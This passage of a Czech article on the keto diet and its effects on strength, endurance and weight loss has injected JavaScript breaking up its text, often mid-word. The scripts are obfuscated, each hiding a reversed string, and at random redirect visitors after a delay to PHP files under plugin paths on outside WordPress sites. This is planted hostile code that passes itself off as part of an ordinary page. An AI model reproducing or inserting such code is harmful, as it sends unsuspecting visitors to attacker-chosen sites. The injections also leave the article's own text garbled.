\"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to diet\u011b po\u010d\u00edtat s&nbsp;v\u00fdrazn\u00fdm omezen\u00edm v\u00fdkonnosti p\u0159i tr\u00e9ninc\u00edch zalo\u017een\u00fdch na vysok\u00e9m po\u010dtu opakov\u00e1n\u00ed s&nbsp;kr\u00e1tkou odpo\u010dinkovou pauzou. A pokles zaznamen\u00e1te i p\u0159i spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovn\u00edch discipl\u00edn\u00e1ch vy\u017eaduj\u00edc\u00edch maxim\u00e1ln\u00ed \u00fasil\u00ed vyvinut\u00e9 b\u011bhem kr\u00e1tk\u00e9 doby (n\u011bkolika sekund).<\/p>\n\n\n\n<p>V\u00fdkonnost p\u0159i silov\u00e9m tr\u00e9ninku (ni\u017e\u0161\u00ed po\u010det opakov\u00e1n\u00ed, del\u0161\u00ed odpo\u010dinkov\u00e9 pauzy) nen\u00ed u v\u011bt\u0161iny lid\u00ed tak v\u00fdrazn\u011b ovlivn\u011bna, zejm\u00e9na pokud u\u017e si doty\u010dn\u00fd na stav tzv. ket\u00f3zy zvykl (co\u017e trv\u00e1 i n\u011bkolik t\u00fddn\u016f). \u0158ada odborn\u00edk\u016f nav\u00edc potvrzuje, \u017ee adaptace na ke<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to dietu je prov\u00e1zena mimo jin\u00e9 i zlep\u0161en\u00edm vytrvalostn\u00ed v\u00fdkonnosti. Z&nbsp;<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toho jasn\u011b vypl\u00fdv\u00e1, \u017ee jde o stravovac\u00ed re\u017eim, o kter\u00e9m by mohli uva\u017eovat vytrvalci, ale kulturistick\u00e9 discipl\u00edny se bez dostate\u010dn\u00e9 d\u00e1vky sacharid\u016f v&nbsp;dlouhodob\u00e9m horizontu neobejdou. V&nbsp;jejich p\u0159\u00edpad\u011b ke<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to dieta neumo\u017en\u00ed dosa\u017een\u00ed pot\u0159ebn\u00e9ho objemu tr\u00e9ninku a zcela z\u00e1sadn\u011b naru\u0161\u00ed intenzitu.<\/p>\n\n\n\n<p>A s&nbsp;t\u00edm pak samoz\u0159ejm\u011b souvis\u00ed i schopnost udr\u017een\u00ed svalov\u00e9 hmoty. Pokud <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toti\u017e nejste schopni odcvi\u010dit p\u0159edepsan\u00fd po\u010det opakov\u00e1n\u00ed \u010di s\u00e9ri\u00ed, nevyvinete stimul pot\u0159ebn\u00fd pro zachov\u00e1n\u00ed \u010di budov\u00e1n\u00ed sval\u016f. Plat\u00ed <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to zejm\u00e9na pro spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovce, kte\u0159\u00ed l\u00e9pe reaguj\u00ed na tr\u00e9nink o vy\u0161\u0161\u00edm po\u010dtu opakov\u00e1n\u00ed a vysok\u00e9m objemu. Komu vyhovuje ni\u017e\u0161\u00ed rozsah opakov\u00e1n\u00ed v&nbsp;s\u00e9ri\u00edch, ten mo\u017en\u00e1 z&nbsp;pohledu hmoty ke<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to die<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tou zase <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tolik neutrp\u00ed.&nbsp; Pokud se tedy rozhodnete ke<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to dietu vyzkou\u0161et, ur\u010dit\u011b d\u00e1v\u00e1 smysl nav\u00fd\u0161it p\u0159\u00edjem b\u00edlkovin. Za t\u011bch<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to okolnost\u00ed se pak mohou naj\u00edt spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovci, jim\u017e ten<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to zp\u016fsob stravov\u00e1n\u00ed pom\u016f\u017ee sp\u00e1lit tuky a sou\u010dasn\u011b udr\u017eet hmotu.<\/p>\n\n\n\n<p>S&nbsp;\u010d\u00edm m\u016f\u017eete p\u0159i ke<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to diet\u011b po\u010d\u00edtat, <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to je \u00fabytek na v\u00e1ze. Restrikce v&nbsp;kalorick\u00e9m p\u0159\u00edjmu zp\u016fsob\u00ed, \u017ee&nbsp; t\u011blo spot\u0159ebuje ulo\u017een\u00e9 sacharidy, tzn. glykogen ve svalech. A ka\u017ed\u00fd gram tak<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to ulo\u017een\u00fdch sacharid\u016f na sebe v\u00e1\u017ee 4 gramy vody. Prvotn\u00ed pokles v\u00e1hy je tedy rychl\u00fd a v\u00fdrazn\u00fd. Ale v\u016fbec nemus\u00ed b\u00fdt zp\u016fsoben\u00fd spalov\u00e1n\u00edm tuk\u016f, na co\u017e \u0159ada kritik\u016f ke<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var 